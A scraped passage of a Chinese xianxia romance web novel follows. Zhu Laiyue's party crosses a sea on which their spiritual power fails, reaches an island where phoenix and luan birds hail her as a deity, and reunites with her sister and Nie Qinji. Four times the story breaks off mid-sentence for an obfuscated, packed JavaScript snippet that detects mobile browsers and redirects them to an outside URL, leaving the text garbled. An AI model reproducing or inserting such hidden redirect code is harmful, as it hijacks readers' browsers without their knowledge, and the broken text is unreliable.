但她将这些问题都暂且放下,目前最要紧的事还未解决,不容她多想什么。
她向蛇人们要来了软筋散的解药,给她的朋友们服下,离开轩辕丘的路比她一开始想象得要顺利得多,甚至没能用上大家一起制定的逃离计划。
在越过霜鸣原尽头的轩辕丘之后,一行人本以为在后面便没有了路时,眼前却是一望无际的原野。
而白羽剑发出的指引之光仍旧指着正北方。
路还没结束。
从轩辕丘下来之后,祝来月等人还专门去问了羿修,毕竟此事和他并没有关系,在轩辕丘时连累了他本就不应该了,他没有义务要继续跟着他们一起去一个从未有人踏足之地。
但对于他们的话,羿修二话不说地跳上了旋风的龟背,“说什么呢!我们不是朋友了吗?再说了,我要是离开,你们没有马车准备怎么赶路?”
于是,这位不相干之人兴致勃勃地彻底加入了他们寻找祝未璃她们的路途。
在轩辕丘北方的这一片原野之上,气候温暖,不似霜鸣原那般终日被雪覆盖,又或许是受到祝来月的影响才有了现在如春日般的气候。
之后的路途与气候一样,比之前要好许多,也没有遇到什么危险或者陷阱,直到他们非常顺利地前行数日之后,来到了一片广袤无垠的大海边上。
白羽剑的光辉依旧朝着北方亮起,这说明他们要渡过这片看不见尽头的海洋。
好在是他们有一只大乌龟,它在陆地上都跑得那么快,更别说是海洋了。几人的目光十分期待地投向那只黑色的大乌龟,但旋风的主人却一脸无奈说道:“旋风是陆地龟,不会游泳的。”
“那我们要怎么才能渡过这片海?”
指望不上旋风,附近又没有什么镇子、码头,可以坐船,也没有什么树林可以让他们现做一艘船。
眼下只有一种法子:御剑、轻功。
但谁也不知道在这片海上要飞行多久,路上又是否有可以停下来休息的礁石,这些都无疑导致了前路危险难测。
“走一步看一步吧。”祝来月朝着那片海走出了第一步,自轩辕丘之后,她就鲜有无法接受之事了。
说着,几人也跟着朝向那片大海走去。唯一让祝来月犹豫的是贺今羽,他的伤口多次裂开,如今是否痊愈也很难判断,让他再带着自己横穿广阔的大海也实在是困难。
她还没来得及再多操心贺今羽的伤势时,羿修已经冲到了最前面,准备施展震云派祖传的一种轻功去渡海,结果下一秒他就笔直地撞进了海平面。
聂棋缘才和景怀卿准备开始御剑,看见这一幕本想笑话他,前边的景怀卿却迟迟不动用灵力御剑,她察觉不对的同时奇异地发现体内的灵力有了异样,在这片风平浪静的海洋的边缘,竟然察觉不出一丝自己的灵力。
景怀卿自然也发现了这一点,于是转头看向贺今羽,两人间的默契不需过多的言语,后者仅仅是一点头,前者便明了他也与他有着同样的情况。
这下好了,管你有没有痊愈?总之就是不能过这海。
“这下怎么办?难道我们要回去找艘船再来吗?”羿修从海里站起,浑身上下都湿漉漉的,像是有些烦躁地说道。
回去太不现实了,就算他们等得起,也能尽快找到足够跨越海洋的船只,祝未璃她们等得起吗?
祝来月毫不犹豫地否定了这个方案,她走到那片看上去平平无奇的海洋边上,弯下腰,伸手捧起一点点海水,随后皱起眉。
见她神态怪异,贺今羽走到她的身后问道:“怎么了?”
她站起身,手中的海水再度回到海洋中,“不知为何,我仍旧能感受到体内灵力的存在,并没有受到此海的影响。”
几人闻言皆是十分讶异,聂棋缘提议道:“那祝姐姐,你试试能不能用上轻功?”
祝来月的修为一向不大好,所以在功法上面下得功夫不算多,脑海中仅有一些简单轻功的记忆,短距离的小溪或是河流尚且可以渡过,这样无垠之海着实是从未尝试过,说不准还会出丑。
但她点了点头,无论如何,总要先试试再说。
祝来月尽量回想起那些轻功的细节,先是深深地吐纳三次,以保证丹田与经脉内的灵力处于澎湃的巅峰状态。接着,她小跑几步,直到足尖触及海水时,将灵力全部汇聚于丹田和足尖两处,接下来就是看天意了。
也许老天真是心情不错,她竟然轻松地游走于海面之上,如履平地般游刃有余。
使用轻功走得有些远了时,她反应过来,便回了头,再次回到海岸上,与几人汇合。这期间,祝来月不仅没有失误一次,还感到体内的灵力像是源源不断地在涌现似的。
“祝姑娘的轻功在技巧上虽然略显粗糙,但却极是稳当。”景怀卿说道。
技巧上粗糙属于正常现象,毕竟她祝来月所能接触到的功法不过是一些流传于江湖之内的简易功法,否则也不能让一个居于山野的女子轻易得到了。
而且祝来月最感兴趣的当然还是一些新奇的生灵和阵法。
但仅仅祝来月一个人还能使用轻功完全不能改变现状,只因她无法携带更多人渡海,而让她只身一人去寻找祝未璃她们也实在太危险了。
于是,几人刚刚打起几分精神就再次感到困难。
就在所有人都为此事苦恼时,安放在祝来月的袖子里的残片忽然掉落在海滩之上。
在轩辕丘融合了第五片残片之后的木片仍然看上去略有残缺,只不过似乎只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882128|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
差至多一到两片便可集齐全部了。
祝来月很快注意到了这一点,她拾起掉落在地上的残片,指尖刚触及之时,奇迹竟然随之发生了。
残片以极其惊人的速度膨胀变形,直到变成了一座结实华丽的渡船才结束。
原本站在边上的祝来月也迅速地抽身远离了这艘大船,她确认木片不会再变形时,才再次上前,这艘大船有好几人高,与寻常的渡海的大船并没有什么两样,倒不如说,它几乎与祝来月心中所想象的大船完全吻合。
一行人皆对这突如其来的变化感到震惊,还在观察这艘船是否存在异样,又或是研究这小小的扁形木雕残片是如何变成这样巨大的船只的。
倒是聂棋缘第一个反应过来:“诶,正好我们可以出海了呀。”
羿修连忙附和道:“就是就是,与其研究什么有的没的,不如直接把它推海里试试!”紧接着,他二话不说地走到了大船的背面,用力开始将这艘巨大的船只往海里推。
尽管在此地用不上灵力,但一向以极致的肉身力量著称的震云派中千百年来难得一遇奇才羿修又怎么会推不动一艘大船?
甚至还不等几人反应过来,他羿修就已经将大船推到了海边上。
聂棋缘不禁扶额:“你这也太积极了些。”说着,便想去帮他的忙。
她才走几步,羿修已将大船彻底地推入了海里,大船也安安稳稳地浮在这片大海之上。
紧接着,羿修作为第一人,因着自身的强悍力气以双手牢牢地扒在船身上迅速爬上了大船,他靠在船边将手往下伸,想拉剩余的几人上来,先是聂棋缘,紧接着便是景怀卿。
祝来月则是因为灵力并未失效所以用轻功轻松登上了大船,并未借助羿修之手。在登船之前,她先将羿修的玄捷龟旋风向上一抛,羿修精准地接住了旋风。
至于贺今羽嘛,他一向对震云派之人格外反感,自然不会领他的情,用双手扒在船身上爬上去这事儿,虽然他也能够做到,但看上去总是有些怪异。
他走到船下,对着正上方的祝来月说道:“拉我。”
他说完这话之后,有两个人明显比祝来月和贺今羽都更要激动许多,迅速走到船边围观即将发生的事。
这两个人,一个是贺今羽最好的朋友景怀卿,另一个则是在之前一直对他们的关系存有说不清的情绪的聂棋缘。
祝来月没有察觉到围观群众的兴奋,更没有发现贺今羽微红的耳垂。
她在听到贺今羽的话时,只是想着这位少宗主也未免太不给同样属于江湖势力的震云派面子了。但他自己的决定祝来月不想干涉,于是她伸出手,运用体内充沛的灵力将贺今羽轻松地拉到了大船上。
一行人齐聚在大船之上,聂棋缘和景怀卿暗中观察这位口口声声说着没动心的超级要面子少宗主,很快就发现了他的耳上代表羞赧的红色惹眼得不像话。
两人心照不宣地暗笑。
这艘船只是帆船的一种,祝来月大致知道一些航海之术,虽然并不精通,但总归还用得上。
几人按照祝来月的说法扬起帆,正式起航了。
40. 岛屿
一行人依靠着白羽剑的指向驾驶着大船前行着,而灵力却一直未能恢复。
这样的情况其实相当危险,因为他们都不知道接下来要面对的劫走祝未璃她们的人究竟是什么用意,若对方怀有恶意,失去对抗之灵力的几人无异于飞蛾扑火。
“既然祝姑娘还能使用灵力,不妨学一些防身的剑法吧?”景怀卿提议道。
“但灵霄宗的鹤栖剑法不是从不外传吗?”聂棋缘问道。
鹤栖剑法按宗门规矩确实是不能外传的,“不,是基础剑法。”景怀卿补充了一句。
可无论是剑法又或是其它的什么刀法、拳法之流,皆是需要常年累月地修炼才可以有一定的收获的,像如今这样临时抱佛脚地练习不知究竟能派上多少用场。
但总比什么都不准备要好一些。
聂棋缘忽然发现了大家都忽略的一点,问道:“祝姐姐要用什么剑练习呢?”
无论是贺今羽的白羽剑又或是景怀卿的玉剑都已经是以血为契,分别属于他们二人的本命灵器,这样的灵器是不允许其余任何人使用的,除非灵器的主人身殒,它们才能够继续等待下一位与它们联结血契的主人。
这时,贺今羽从他的纳物灵器中取出了一柄简易的木剑,没有什么锋芒,而且看上去较为短小,更像是小孩子用来练习的剑。
事实上这也是小孩子用来练习的剑,在七岁那年贺今羽的父亲将白羽剑给他之前,他一直是使用这把木剑练习的,从木剑上密密麻麻的碰撞的痕迹中亦可以看出。
他将木剑递给祝来月,说道:“你先用这把吧。”
这般不够锋锐的木剑,用来练习或是玩耍还差不多,要真是用来防身御敌……很难想象它能起到什么作用。
像是看出祝来月内心的疑虑似的,他又说道:“若是遇上敌人,白羽剑给你。”
“可它是你的本命灵器,我恐怕无法使用。”
景怀卿在一旁微笑地说道:“祝姑娘,今羽既出此言,必然有他的道理,白羽剑不同于其它的灵器……”他话未说完,瞧了一眼贺今羽,便忽然止住了要说的话,将同在一旁围观的两人齐齐拉回了船内,只留祝来月与贺今羽二人在甲板之上练习剑法。
被拉回船舱内的羿修心有不满:“我还是头一回出海,不行,我得出去看看。”作为在雪原长大的人,羿修对这片在万里晴空下波光粼粼的蓝色海洋充满了好奇和兴奋,正倚在船边看着大船行驶时溅起的漂亮水花,十分入迷,结果突然莫名其妙地就被他拉走了。
羿修还没走两步,就被聂棋缘拉住了衣袖,感到一股阻力的他回头一看,“干什么?”
“我说你是不是木头脑袋啊?”
被骂了一句的羿修就像是丈二和尚摸不着头脑,“你才是木头脑袋。”虽然不知道这个聂棋缘又闹的哪一出,他还是毫不客气地回怼了一句。
“你看不出来贺大哥和祝姐姐两心相许吗?非要出去凑什么热闹。”
“不-好-意-思——”羿修一字一顿地说道:“还真没看出来。再说了,那个假清高也配不上落落大方的祝姑娘,你这样一说我就更要出去凑凑热闹了。”
“你——!”
景怀卿及时打断了还要争执下去的两人,道:“聂姑娘,羿少侠,我们还是去轮流盯着船的行进方向吧。”
羿修的力气是所有人中最大的,自然而然地承担起了掌舵手的职责,在景怀卿连哄带骗的安排下,他将捣乱一事顿时抛之脑后了。
因为白羽剑还要用来指明方向,贺今羽只能手把手地教祝来月一些最基本的剑法诀窍,比方说如何稳住下盘、挥剑时从哪里发力等等,好在是祝来月悟性很高,学得非常顺利,想来若非她先前灵力不足,恐怕这世上又要多一个剑法天才。
贺今羽不禁怀疑这祝家人究竟什么来历,怎么姐妹两个皆是天赋选手,但又一想,她们并没有任何血缘关系。
一行人在一望无垠的大海上行驶了约莫七日,所幸没有遇上任何风浪,一切都十分顺利。在七日内的短暂训练中,祝来月基本掌握了必要的剑法精髓,若是遇到敌人,就算不敌,也大抵是可以保证几人全身而退了。
在顺利的航行日子里唯一一点困难是,这片看似普通的海里没有半点生灵存在的迹象,所以他们无法用鱼肉来填饱肚子,不过经过这段时间的饥饿,祝来月有了先见之明,向轩辕丘上的蛇人族索要了一些食物。
虽然不至于饿死,但毕竟已经离开轩辕丘已将近半月了,食物也所剩无几。
但祝来月等人却并未因此发愁,只因为目之所及的不远处的前方,已然出现了一座岛屿。
几人未能在这座岛屿上找到什么类似于码头的地方,只能随意找了一个角落将船靠岸,收帆降锚。
当众人正式踏进这座不知名的小岛之上时,不禁感到一阵温暖,这种感受不似盛夏一般炽热,也不会像深秋那样萧瑟,正如春日一般和煦宜人。
这座小岛上座落了一些小小的山丘,以及一些平原,在众人能看见的范围之内,各色植物生长在这片土地上,比别处看上去更有生机许多,就连以植物丰茂出名的流织谷与眼前的景象相比都有些逊色。
祝来月忽然感受到体内灵力再次躁动,与此同时,那艘残片所化的大船迅速地缩小变回了原先的木雕残片,在变回残片之后,它又飞回了祝来月的手上,隐隐发着微光。
贺今羽手上的白羽剑所发出的指引之光在进入岛屿之后便不再直指北边,而是指向了岛内的某处,众人相视一眼,顿时明了了此地便是他们此行的最终目的地。
在为即将迎来的结束欣喜之余,他发现祝来月再次露出了接近轩辕丘时的异样神情,脸色也是格外的苍白,下意识地关心道:“你还好吗?”
为了不破坏这样激动的氛围,也为了不让同伴们忧心,祝来月
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895331|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
习惯似的逞强说道:“无妨。”接着,她又转移话题问众人道:“你们的灵力恢复了吗?”
剩余的几人顿时转移了注意,羿修第一个尝试使用灵力,却发现灵力并没有恢复,仍然无法使用。其余人也是同样。
“所幸在船上时贺今羽教我了一些剑法。”祝来月安慰众人道。
聂棋缘闻言,嬉笑着跑到祝来月身边,双手搭在她的肩上,“那接下来遇到困难就要靠你咯,祝姐姐。”
一行人绕过小山丘,前往平原处座落的建筑群,那里像是有人的迹象。
这座岛屿并不算大,平原大约位于小岛的中心区域,他们再次坐上了旋风的龟背之上,并没有花费多少时间便抵达了大约一个城池大小的目的地。
此地的建筑不同于他们以往所见过的建筑,极有特色,人界罕有。
不远处还能看见一些居民,虽然服饰与他们的极为不同,但总归还是正常人族的范畴。也许是因为轩辕丘上的蛇人族实在是太令人见之难忘了,他们在看到正常人族时在心中莫名升起了一股亲切的情愫。
而且更加令人安心的是,此地没有半分妖气。
此时,白羽剑与流星坠之间的联系忽然断了,指引之光渐渐暗淡下来,这是靠近流星坠的表现。
说明聂琴机和祝未璃两人就在这座岛屿之上。
他们向前走,没走一会儿,岛屿上的居民不约而同地向这几个外来者聚拢过来,片刻之间,五人一龟就被这些居民给包围了。
那些居民大着胆子看着他们,却并未表现出什么恐惧或者厌恶的神情,而是好奇。
一行人被围观后便停住了脚步,景怀卿对周围的居民说道:“我等来此地是找两个人,并无恶意。”
居民中传出一句声音回应道:“你们找谁?”因为围观的居民实在是太多了,而且正在不停地增加中,景怀卿无法判断出这句话是谁说的。
“两位女子,不知你们可有见过她们?”说着,景怀卿又对他们描述了一番祝未璃的相貌:“其中一位圆脸杏眼,身材娇小,但神色坚定。穿着一袭白衣,身上有一块银制令牌,令牌上镌刻了一只仙鹤和灵霄宗三个字。另一位……”
在描述聂琴机时,景怀卿明显犯了难,毕竟他还从未见过这位聂家长女。聂棋缘立刻接着说道:“另一位身形纤弱,有些病容,眉眼和我有些相似。”
“令牌是何物?银制又是什么?”
“从未见过。”
“……”
围观的居民们你一言我一语地讨论了起来,但祝来月等人也得出来一个结论:这些人并没有见过祝未璃她们。
既然他们并不难给到什么线索,祝来月便想着与这些人道了谢之后便就此别过,但居民中不知是谁说了一句话,让她顿时起了兴致:
“你们不妨去问问两位神鸟大人,天上地下之事,那两位都是无所不知无所不晓的。”
41. 神鸟
居民口中的“神鸟”引起了祝来月的注意,她迅速追问道:“神鸟大人是谁?为何是神鸟?她们在何处?”
“外来人,神鸟大人居住在那边的神殿内,是诸夭之野的守护神,她们的原身是两只神鸟,所以是神鸟大人。”
在他们的口中,祝来月得知这座岛屿名叫诸夭之野,但对于所谓神鸟还是觉得难以想象。但原身若非人,想来应当是妖了。
就像在止吴山时的罗平鸟那样,被当地的村民供奉称作神鸟,其实不过是修成人形的鸟妖罢了。
诸夭之野的居民们仿佛十分热情,贴心地为一行人指了路,他们在居民们的指引下顺利地来到了他们口中的“神殿”。
只有见到这座宏伟的建筑时,一行人才明白那些热心居民的所言不假,真真称得上是“神殿”二字,除此之外,竟然没有任何名称足以概括。
神殿由无数的晶莹剔透的矿石盖成,一眼望去,像极了传说中的神界那般拒人于千里之外。这种材质在人界极为罕见,是仅次于灵玉的珍贵石材——绮玉。
即使是江湖中历史悠久、最有名望、底蕴浑厚的灵霄宗,也没有这样惊人的财力能够将绮玉盖成一座如此巨大的神殿。
灵霄宗内的无涯阁号称是人界收录记载最全的藏书阁,凡人界之人、事、物,没有它未能收录的,而像这样令人心生敬意、美轮美奂的神殿,又或是什么诸夭之野,在这无涯阁内竟然未曾有过一星半点的记载。
这五个人无一不是见多识广,但面对这样的琼楼玉宇,也不禁产生了几分敬而远之的心情,就像来到了传说中的神界,反而深切地感受到了自身的渺小,如同千万生灵中最不值一提的蝼蚁一般。
贺今羽忽然觉得很不对劲,因为哪怕这座神殿固然是十分惊人的建筑,但也不至于让他们都心生畏惧,神殿之中恐怕存在着什么,使得靠近的每一个人感到敬畏。
想到此处,他将白羽剑抽出,递给身侧的祝来月,以备不时之需。
出乎意料的是,五人中唯一一个神态自若的竟然是出身最平凡不起眼的祝来月。
贺今羽在递剑之时注意到她的平静,除了脸颊和唇色略显苍白以外,并没有其余的异样。
像是这座神殿内的神秘力量并没有引起她的畏惧似的。
神殿大约有好几层,几人走进这座神殿的第一层,里头果然十分宽敞,但不同于他们的想象的是,神殿内并没有什么神像,空空荡荡的,除了墙壁和柱子以及通往楼上的楼梯外什么也没有。
祝来月尝试着呼唤了几声“神鸟大人”,态度尽量显得尊敬,但她的声音碰到宽敞神殿的墙壁便反弹了回来,回到众人的耳中变成一遍又一遍的回声。
不在吗?
她略带疑惑地四处张望,却在慢慢转身时看见了一个陌生女子站在她的身后,距离她不过咫尺之距。
祝来月内心一惊,下意识地后退半步,与对方保持一定的距离。
“你们终于来了。”
不知为何,眼前这位陌生女子的模样虽然看上去极为年轻,比十七岁的祝来月也大不了几岁,但她的话语中却尽是沧海桑田般沉淀的岁月感。
“你就是神鸟大人?”
祝来月问完,对方似乎饶有兴趣地细细打量着自己,在这种凝视中,她竟然没有感到半分不适。祝来月能感受到她注视的目光中并没有任何恶意。
她看了许久,直到察觉祝来月一行人都有些没了耐性,她才缓缓开口:“不过是虚名罢了,在您面前,我等又怎能擅自使用那个字。”
当她说到“我等”两个字的时候,祝来月才发现在她身后的不远处站着另一个和眼前这位陌生女子的长相有着七八分相似的女子。不仅仅是祝来月,剩下的全部人都没有察觉到这两个女子的突然出现,连半点气息都未曾察觉。
但更让祝来月在意的是她话中的另一个字——“您”,在场的都不是愚蠢之人,都能听出她的语气,无疑对祝来月有着毫不隐藏的尊敬,与轩辕丘的蛇人族如出一辙。
祝来月还没来得及追问任何事,面前的神鸟大人之一便再次开口:“诸位请前往第七层吧,你们要找的人就在那里。”
祝来月顿时想起此行最重要的目的——璃儿,她正想和贺今羽等人直奔第七层,却被神鸟拦住了:“请您留下。”
她蹙眉,弄不清对方的用意,但对方的态度也很是坚定,没有丝毫要让步的意思。贺今羽在听到这句话的同时停下了步伐,打算和她一起留在第一层大殿。
这种情况绝不能让任何一个人落单,谁知道劫走祝未璃她们的“神鸟大人”究竟是善是恶?
但神鸟依旧不让步,“希望您单独留下。”
祝来月看向贺今羽,对他说道:“无妨,你先去确认璃儿她们的安危要紧。”说着,用眼神示意他不必担心,毕竟她也是经过七日剑法训练的,简单的自保应当不在话下。
何况,她也实在想看看这两个所谓的神鸟究竟想要做什么。
贺今羽总是无法拒绝她的全部决定,每当看到她眼底的胸有成竹时,就像走火入魔似的忘记了最初要做什么事,转而听从了她的全部安排。
等到确认贺今羽等人上了楼之后,这位一直秉持着高贵神态的神鸟忽然向祝来月跪下,连同她身后的另一位神鸟一起。
这个情况即使是一向稳重的祝来月也不禁吓了一跳,不及她开口询问缘由,那两位神鸟就分别开口说道:
“尊神大人,我乃驻守诸夭之野的凤鸟。”
在她身后一直保持静默的另一位神鸟也开口道:“鸾鸟。”
“凤鸾二鸟是传说中的生灵,竟然真的存在么?”比起她们口中的称呼,祝来月显然还是更在意这样传说中的生灵不仅存在,还出现在她的面前。
“是的,尊神大人。只不过我等并非真实的神鸟,而是借您的神力而生的伪神。”
先前蛇人族称呼她为尊神时,祝来月还有几分念头,以为是她们哪里弄错了,但眼前两位来无影去无踪的“神鸟”也是这般,祝来月不禁怀疑这是否是一种别出心裁的骗术,可欺骗祝来月,她们又能得到什么?
但此事
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916618|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也并非没有一丝一毫的可信度。
“证据。”她简短地说道,接着目不转睛地盯着眼前的凤鸾二鸟,想看看她们要如何证实。
凤鸾二鸟相视一眼,鸾鸟向前走了几步,与凤鸟齐平,紧接着,她们分别向前优雅从容地一扑,就在祝来月以为她们是发动了攻击时,眼前的两位女子模样的神鸟竟然在一个呼吸间化成了两只巨大的神鸟模样,一振翅便朝着上方飞去,随后在祝来月的头顶盘旋,姿态神圣而庄重。
她们并没有作为神鸟的姿态飞翔太久,在充实证明了自己的原身之后,便再次化为最初时的人形站在祝来月的面前。
祝来月虽然因此感到很是惊讶,但她仍旧佯装怀疑,镇定自若地说道:“化形之术,能施展这种法术说明你们确实实力惊人。”
凤鸟与鸾鸟并未因此着急,而是一如既往保持着耐性,很是理解她如今的不信任。
“既然尊神大人疑心,不妨随我……”凤鸟话音未落,大殿中里侧的楼梯上忽然传来急切的脚步声,不出多久,楼梯上忽然探出半个身子。
来人的模样祝来月太熟悉了,再熟悉不过了。她顿时将方才的话题抛之脑后,朝着楼梯的方向奔去。
而从楼上跑下来的那人也同样以最快的速度奔向祝来月。
祝来月紧紧抱住了向自己飞奔……不,可以说是飞扑,她接住了飞扑而来的祝未璃,听着她激动地喊着一声又一声的“姐姐”。
而她自己也同样将“璃儿”两个字翻来覆去地说了好多回。
自从灵霄宗那日一别,距今几乎二月有余,祝来月每日每夜都无法放下的人如今完好无缺地站在面前。
自记事起,除了璃儿去灵霄宗拜师,自己和贺今羽去找残片的下落那一回,便没有分开这样久过了。
“幸好你没事。”她从激动的心情中回过神来,松开了祝未璃,目光细细地上下打量着小妹,确认她确实没有受到任何的伤害,才慢慢放下悬着的心来。
祝未璃说道:“放心吧姐姐!我是什么人!”她咧嘴一笑,歪了歪头。
“你是什么人?”祝来月不禁觉得好笑地敲了敲她歪着的脑袋。
“我是将来的天下第一啊!”祝未璃拍拍胸脯,信誓旦旦地说道。
“我才是将来的天下第一。”这时,跟在后面的羿修忽然开口反驳她。
“你是哪位?”祝未璃听到声音后便回过头,刚才见到景怀卿等人时,光顾着问姐姐在不在了,甚至没发现这一行人中竟然还有个自己不认识的人。
“孤陋寡闻了吧,我就是震云派羿……”
羿修并没有说完,聂棋缘忽然走到祝未璃身旁,接着说道:“就那个争鸣榜第二啊。”
听完聂棋缘的话后,祝未璃立刻对着羿修露出了一副恍然大悟的表情。
“小缘,不可无礼。”
这道陌生的声音立刻吸引了祝来月的注意,朝着声音传来的方向看去,她见到一个眉眼处与聂棋缘有六七分相似的女子,较之不同的是,这一位显然比活泼的棋缘看上去要稳重得多。
42. 琴机
聂琴机,医道名门之长女,最适合继承其母亲衣钵的天才传人。其地位相当于剑道中的贺今羽,能出这样一个天才,即使如灵霄宗或者聂家这般的名门望族,也实在是祖坟冒了青烟。
聂琴机与贺今羽无论从何种方面来讲都是极为登对的佳话,堪称金玉良姻。
祝来月对聂琴机的了解止步于此,但她仍旧坚持自己的观点,没有什么事是一个人生来必须要承担的使命。
和贺今羽成亲绝不可能是这样一个天纵奇才的女子一生的使命。
同样,贺今羽的使命也不会是乖乖联姻。
即使在个别人看来,祝来月和聂琴机的立场几乎是对立的。
尤其当聂琴机主动邀她在诸夭之野的山脚下散散心时,那几个人明显提起了十二分的兴趣,想跟上去,但在贺今羽看似毫无所谓的注视下最终还是没敢跟上去。
这几个人显然是作为事外者的祝未璃、景怀卿、聂棋缘和羿修等人。
神鸟在祝未璃她们出现之后,便干脆止了口,不再提起半句关于方才对祝来月说的那些事。
而祝来月本人自然暂时无心刨根问底,并不急于一时。最重要的还是久别的璃儿。
她本想与璃儿多待一会儿,聂琴机却邀请她一同散心。
自两人离开神殿之后,几人注视着她们的背影,小声讨论了几句。
“诶诶,贺清高喜欢祝姑娘我瞧出来了,那祝姑娘呢?怎么打算的?”羿修小声问道。
在场最了解祝来月的恐怕也只有祝未璃一人了,于是众人纷纷看向她。
璃儿被盯得也有些没了底,难得地蹙了眉,“姐姐的心思我也不清楚,我从未见她对什么人动情过……”
祝来月的心思暂且摸不透,那么聂琴机的总能知道一二了吧?众人想着,又看向聂棋缘。
谁知聂棋缘亦是一样的反应,犹豫不决地说道:“我本想向姐姐问清楚,谁知还不等我开口,姐姐就失踪了。”
“那你认为聂姑娘单独寻祝姑娘散心是何用意?”景怀卿问道。
聂棋缘想了想:“总之,姐姐绝不可能做什么伤人之事,医者仁心。”
一旁的贺今羽轻咳两声,余光瞥向正在八卦的一群人,被看着的人便自觉都散开了。
祝来月跟着聂琴机走向不远处绿意盎然的大山,人烟愈发稀少,不禁暗自揣度她的心思。
正在这时,走在前边的聂琴机忽然开口:“你一定在猜我要对你说什么,是吗?”
“聂姑娘颖悟绝伦,你我并无交集,我确实不懂你为何找我。”
聂琴机身穿一袭白衣,她苍白的皮肤显得异常脆弱,手指关节之处也格外得骨瘦嶙峋。
即使站在她身后,也能感受到她单薄的身躯,似乎经不起一点点打击。
她半晌未说话,像是思虑许久,才终于说道:“你可知道月中骞?”
“知道一些。”
琴机似乎有些释然地笑了笑,“果然,”她说着,干脆不再卖关子,转过身对着祝来月直截了当地说:“你既然知道,那你如何看待聂家与灵霄宗联姻一事?”
“聂姑娘倾心于他吗?”
“不,准确地说,我甚至不算认识他。”
因为聂琴机的回答来得实在太快、太过于斩钉截铁,以至于祝来月甚至有些愣神。
“那……?”祝来月不解地询问。
聂琴机说道:“我本以为这些责任是我应当去承受的,但你也明白,月中骞之术的要求。所以当我见到你时,不知为何我竟然有些释然。”
祝来月的确是知道月中骞的要求的,须得二人之间的真心。
“是棋缘和你说的吗?”
“我只是看到了一双充斥情意的眼睛。”
“聂姑娘很擅长剖析人心么?”
这一回,聂琴机并没有再接话了。
祝来月大抵明白了她的心思,不过是一个同贺今羽一样为责任所束缚之人,如今只知道联姻这事没了可能,松了口气罢了。
“我应感谢祝姑娘解决了我的束缚。”
“你何必谢我呢?情爱二字又岂是可以人为的。”
此话其实还有一层隐喻,只不过祝来月不想对着聂琴机说出口。
那便是灵霄宗与聂家的联姻习俗才真是荒唐至极。她对于这两家的过往历史并不了解,更不知道这种联姻所带来的月中骞的成功率有多少。
但想必是多不到哪去了。
仅仅看贺今羽和聂琴机就知道。
她忽然想到,贺今羽那个犟种太认死理,也许从未怀疑过宗门的习俗,若不是遇见了自己,恐怕还是会听从宗主的安排去联姻。
但眼前这位聂琴机思维敏捷,说不定也明白其中的荒唐,只是无法反抗。想到此处,祝来月忽然明白聂琴机谢她的缘由了。
她们在这座陌生的岛屿上散心,尽管此前从未相见,也还是不知不觉多了许多话题。
“你们在此地的两月过得怎样?璃儿有没有给你添麻烦?”祝来月忽然提到。
琴机闻言神色一变,仿佛听见了什么不得了的事,“什么两月?我们至此地才不过大约三四日。”
再怎么说,祝来月也不至于将两个月和三四日弄混,聂琴机也不可能。
一定是哪里弄错了。
直到她们匆忙赶回神殿,寻找那两只神鸟时,却没能找到她们的下落。
祝未璃等人见到她们神色仓皇地跑回来,皆是十分意外。
祝来月一时不知从何说起,只是追问她们可曾见过神鸟。
“姐姐,你慢慢说,发生什么事了?”
“璃儿,你还记得你来此地有几日了吗?”
“三日?不,可能是四日,因为我昏迷那会是夜里,再度醒来便在这里了,大约就这几天吧?”
祝未璃深思熟虑的回答印证了她的猜测,一个人弄错还情有可原,两个人同时弄错绝不可能。
这时,一旁的聂棋缘说道:“三四日?!我们找了你们两个月!”
鸾鸟不知何时忽然出现在神殿的角落,祝来月立刻走到她跟前,对她说:“我有问题想问你。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922517|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鸾鸟并不接过这个话题,而是自顾自地说道:“请几位去楼上用膳,尊神大人您随我来。”
“好。”
祝来月隐隐觉得,接下来会知道一些令她难以想象的事。
不知是出于对神秘事物的好奇,又或者是她本就比较无畏,祝来月几乎没有犹豫地答应了面无表情的鸾鸟。
